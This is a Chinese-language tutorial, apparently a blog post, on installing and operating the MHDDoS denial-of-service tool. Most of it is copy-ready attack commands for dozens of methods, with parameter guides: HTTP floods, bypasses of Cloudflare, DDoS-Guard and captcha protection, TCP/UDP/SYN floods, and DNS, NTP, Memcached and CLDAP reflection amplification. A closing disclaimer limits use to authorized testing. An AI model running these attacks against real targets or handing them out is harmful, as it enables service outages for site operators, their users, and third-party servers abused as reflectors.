MHDDoS工具使用教程

在终端中输入以下命令,如果git克隆不了或者速度慢,请先挂好代理工具再进行下载:

1
2
3
4
5
6
7
8
# 克隆项目到本地
git clone https://github.com/MatrixTM/MHDDoS.git

# 进入项目目录
cd MHDDoS

# 查看目录内容
ls

可以看到我们已经克隆好项目到本地了。我们会发现这里有个requirement.txt的文件,这个是我们要安装依赖项的文件。

在此之前先创建个python虚拟空间并使用:

1
2
3
4
5
6
7
8
9
10
11
# 创建虚拟空间
python3 -m venv venv

# 查看当前目录的文件
ls

# 激活虚拟空间
source venv/bin/activate

# 取消激活虚拟空间。当你不使用虚拟空间的时候就使用这条命令取消激活。
deactivate

可以看到我们的用户名左边出现”(venv)”,就说明现在是进入虚拟空间了。接下来开始安装依赖项:

1
pip3 install -r requirements.txt

安装完成后,当你输入以下命令,出现相关信息就说明安装完成了:

1
python3 start.py help

额外安装方法

如果你有VPS的话也可以输入以下命令进行一键安装:

1
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt

如果你喜欢使用Docker的话,可以输入以下命令进行Docker安装。在安装之前,请先确保配置好国内的镜像源,不然可能下载不了:

1
sudo docker pull ghcr.io/mhprodev/mhddos:latest

手动安装依赖

1
2
3
4
5
6
7
8
9
python3 -m pip install cfscrape<=2.1.1
python3 -m pip install certifi<=2021.10.8
python3 -m pip install dnspython>=2.2.0
python3 -m pip install requests==2.27.1
python3 -m pip install impacket==0.9.23
python3 -m pip install psutil>=5.9.0
python3 -m pip install icmplib>=2.1.1
python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git
python3 -m pip install yarl~=1.7.2

使用说明

Tools工具

MHDDoS有一个Tools(工具)的使用命令,输入以下命令即可进入Tools控制台:

1
python3 start.py tools

Tools控制台支持的命令:

命令 作用
clear 清除控制台
back 返回主控制台或之前的输入
exit 关闭控制台并退出脚本
help 显示帮助消息

使用示例:

1
2
3
4
5
6
7
8
9
10
11
# 查看帮助
help

# 清除控制台
clear

# 返回主控制台或之前的输入
back

# 关闭控制台并退出脚本
exit

Tools控制台支持的功能:

  • INFO:关于网站的信息例如所属国家等
  • TSSRV:TeamSpeak SRV 解析器
  • DNS:显示站点的 DNS 记录(不可用)
  • CFIP:查找由 Cloudflare 提供支持的网站的真实 IP 地址(不可用)
  • DSTAT:显示已接收的字节数、已发送的字节数及其数量
  • CHECK:检查网站状态(不可用)
  • PING:icmp请求的响应时间(不可用)

基本使用示例

1
2
# 查看帮助
python3 start.py help

Layer7使用方法

Layer7 一般用于对网站的攻击,使用格式如下:

1
python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional>

各参数说明:

  • 1:方法(攻击类型)
  • 2:目标 URL 或 IP 地址
  • 3:代理类型
  • 4:要使用的线程数
  • 5:代理文件
  • 6:RPC(请求预连接)
  • 7:持续时间(完成攻击的时间,以秒为单位)
  • 8:调试模式(可选)

代理类型:

  • 6 = 随机
  • 5 = SOCKS5
  • 4 = SOCKS4
  • 1 = HTTP
  • 0 = 全部

注意:如果代理列表为空,则攻击将在没有代理的情况下运行。如果代理文件不存在,脚本将下载代理并检查它们。第一次使用代理文件会下载,要等段时间。如果你使用过代理文件的话,在 files > proxies 目录里面会显示。

使用时把https://example.com替换成真实的网站。以下是各种攻击方法的使用示例:

GET | GET 洪水

1
python3 start.py get https://example.com 5 100 socks5.txt 100 3600

使用get flood洪水攻击,对网站https://example.com进行压力测试,选择代理类型5(Socks5),使用 100 个线程运行旁路攻击,代理文件命名为socks5.txt,每个代理(连接)100 个请求,持续 3600 秒。

POST | POST 洪水

1
python3 start.py post https://example.com 4 100 socks4.txt 100 3000

使用post flood洪水攻击,对网站https://example.com进行压力测试,选择代理类型4(Socks4),使用 100 个线程运行旁路攻击,代理文件命名为socks4.txt,每个代理(连接)100 个请求,持续 3000 秒。

OVH | 绕过 OVH

1
python3 start.py ovh https://example.com 1 100 http.txt 100 3000

使用ovh绕过,对网站https://example.com进行压力测试,选择代理类型1(HTTP),使用 100 个线程运行旁路攻击,代理文件命名为http.txt,每个代理(连接)100 个请求,持续 3000 秒。

RHEX | 随机十六进制

1
python3 start.py rhex https://example.com 0 50 proxy.txt 120 2000

使用rhex,对网站https://example.com进行压力测试,选择代理类型0(全部),使用 50 个线程运行旁路攻击,代理文件命名为proxy.txt,每个代理(连接)120 个请求,持续 2000 秒。

STOMP | 绕过 chk_captcha

1
python3 start.py stomp https://example.com 1 100 http.txt 100 3000

STRESS | 发送带有高字节的 HTTP 数据包

1
python3 start.py stress https://example.com 0 150 proxy.txt 50 5000

DYN | 一种使用随机子域的新方法

1
python3 start.py dyn https://example.com 6 140 random.txt 120 2000

使用dyn,对网站https://example.com进行压力测试,选择代理类型6(随机),使用 140 个线程运行旁路攻击,代理文件命名为random.txt,每个代理(连接)120 个请求,持续 2000 秒。

DOWNLOADER | 一种缓慢读取数据的新方法

1
python3 start.py downloader https://example.com 5 100 socks5.txt 100 3000

SLOW | Slowlor 的旧 DDoS 方法

1
python3 start.py slow https://example.com 5 100 socks5.txt 100 3000
1
python3 start.py head https://example.com 5 100 socks5.txt 100 3000

NULL | Null UserAgent 和 …

1
python3 start.py null https://example.com 5 100 socks5.txt 100 3000
1
python3 start.py cookie https://example.com 5 100 socks5.txt 100 3000

PPS | 仅’GET / HTTP/1.1\r\n\r\n’

1
python3 start.py pps https://example.com 5 100 socks5.txt 100 3000

EVEN | GET 方法带有更多标头

1
python3 start.py even https://example.com 5 100 socks5.txt 100 3000

GSB | Google Project Shield 绕过

1
python3 start.py gsb https://example.com 5 100 socks5.txt 100 3000

DGB | DDoS Guard 绕过

1
python3 start.py dgb https://example.com 5 100 socks5.txt 100 3000

AVB | Arvan 云绕过

1
python3 start.py avb https://example.com 5 100 socks5.txt 100 3000

BOT | 类似 Google 机器人

1
python3 start.py bot https://example.com 5 100 socks5.txt 100 3000

APACHE | Apache 漏洞

1
python3 start.py apache https://example.com 5 100 socks5.txt 100 3000

XMLRPC | WP XMLRPC 漏洞 (添加 /xmlrpc.php)

1
python3 start.py xmlrpc https://example.com 5 100 socks5.txt 100 3000

CFB | CloudFlare 绕过

1
python3 start.py cfb https://example.com 5 100 socks5.txt 100 3000

CFBUAM | CloudFlare 攻击模式绕过

1
python3 start.py cfbuam https://example.com 5 100 socks5.txt 100 3000

BYPASS | 绕过常规 AntiDDoS

1
python3 start.py bypass https://example.com 5 100 socks5.txt 100 3000

BOMB | 使用 codesenberg/bombardier 绕过

需要额外安装BOMB功能,没有安装会报错。以后有机会再讨论。

1
python3 start.py bomb https://example.com 0 50 proxy.txt 100 3600

KILLER | 运行多个线程来杀死目标

1
python3 start.py killer https://example.com 5 100 socks5.txt 100 3000

TOR | 绕过洋葱网站

1
python3 start.py tor https://example.onion 5 100 socks5.txt 100 3000

Layer4使用方法

Layer4一般用于服务器或家庭局域网,有以下几种使用模式:

普通模式

1
python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional>

各参数说明:

  • 1:方法(攻击类型)
  • 2:目标 URL 或 IP 地址
  • 3:要使用的线程数
  • 4:持续时间(完成攻击的时间,以秒为单位)
  • 5:调试模式(可选)

代理模式

1
python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional>

各参数说明:

  • 1:方法(攻击类型)
  • 2:目标 URL 或 IP 地址
  • 3:要使用的线程数
  • 4:持续时间(完成攻击的时间,以秒为单位)
  • 5:代理类型
  • 6:代理文件
  • 7:调试模式(可选)

DNS 放大攻击模式

警告:注意:此方法需要可欺骗的服务器(spoofable servers)!
反射放大攻击是一种技术,允许攻击者放大他们可以生成的恶意流量并掩盖攻击流量的来源。这种类型的分布式拒绝服务 (DDoS) 攻击使目标不堪重负,导致系统和服务中断或中断。
参考:https://www.cloudflare.com/zh-cn/learning/ddos/dns-amplification-ddos-attack/

1
python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=refelector file> <6=debug=optional>

各参数说明:

  • 1:方法(攻击类型)
  • 2:目标 URL 或 IP 地址
  • 3:要使用的线程数(多线程)
  • 4:持续时间(完成攻击的时间,以秒为单位)
  • 5:反射器文件
  • 6:调试模式(可选)

使用时请把1.1.1.1:53替换为你真实存在的ip地址及端口。

TCP | TCP 洪水绕过 (可使用代理)

1
python3 start.py tcp 1.1.1.1:53 1 3600

对目标1.1.1.1:53进行测试。使用 1 个线程运行 tcp 攻击,持续 3600 秒。

UDP | UDP 洪水绕过

1
python3 start.py udp 1.1.1.1:53 100 3600

对目标1.1.1.1:53进行测试。使用 100 个线程运行 udp 攻击,持续 3600 秒。

SYN | SYN 洪水(root权限)

1
python3 start.py syn 1.1.1.1:53 100 3600

CPS | 使用代理打开和关闭连接 (可使用代理)

1
python3 start.py cps 1.1.1.1:53 100 3600 5 socks5.txt

对目标1.1.1.1:53进行测试。使用 100 个线程运行 cps 攻击,持续 3600 秒,使用socks5进行代理。

ICMP | ICMP 回显请求洪水(Layer3)(root权限)

1
python3 start.py icmp 1.1.1.1:53 100 3600

CONNECTION | 使用代理打开活动连接(可使用代理)

1
python3 start.py connection 1.1.1.1:53 100 3600 5 socks5.txt

VSE | 发送 Valve Source 引擎协议

1
python3 start.py vse 1.1.1.1:53 100 3600

TS3 | 发送 Teamspeak 3 状态 Ping 协议

1
python3 start.py ts3 1.1.1.1:53 100 3600

FIVEM | 发送 FiveM 状态 Ping 协议

1
python3 start.py fivem 1.1.1.1:53 100 3600

MEM | Memcached 放大(root权限)

1
python3 start.py mem 1.1.1.1:53 100 3600

NTP | NTP 放大(root权限)

1
python3 start.py ntp 1.1.1.1:53 100 3600

MCBOT | Minecraft 机器人攻击(可使用代理)

1
python3 start.py mcbot 1.1.1.1:53 100 3600 5 socks5.txt

MINECRAFT | Minecraft 状态 Ping 协议(可使用代理)

1
python3 start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt

MCPE | Minecraft PE 状态 Ping 协议

1
python3 start.py mcpe 1.1.1.1:53 1000 3600

以下需要 spoofable servers

DNS | DNS 放大(root权限)

1
python3 start.py dns 1.1.1.1:53 100 3600 dns.txt

CHAR | Chargen 放大(root权限)

1
python3 start.py char 1.1.1.1:53 100 3600 char.txt

CLDAP | Cldap 放大(root权限)

1
python3 start.py cldap 1.1.1.1:53 100 3600 cldap.txt

ARD | Apple 远程桌面放大(root权限)

1
python3 start.py ard 1.1.1.1:53 100 3600 ard.txt

RDP | 远程桌面协议放大(root权限)

1
python3 start.py rdp 1.1.1.1:53 100 3600 rdp.txt

调试模式(记录攻击状态)

1
2
3
4
5
6
7
8
9
10
11
# Layer7 调试模式示例
python3 start.py bypass https://example.com 5 1000 socks5.txt 100 100 true

# Layer4 调试模式示例
python3 start.py udp 1.1.1.1:53 1 100 true

# DNS 放大攻击调试模式示例
python3 start.py dns 1.1.1.1:53 1 100 dns.txt true

# 代理模式调试示例
python3 start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true

总结

MHDDoS作为一款开源的DDoS工具,由MatrixTM团队开发并在GitHub上提供,不仅展示了高效的网络攻击能力,还体现了对网络性能测试和安全性研究的技术支持。在使用过程中,我们深入了解了其多种攻击模式及使用方法,同时也通过实际测试认识到工具的运行环境、依赖配置以及潜在的使用限制。

重要免责声明
合法合规地运用此类工具进行网络防御和性能测试尤为重要。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。

欢迎各位大佬,萌新小白来找我交流。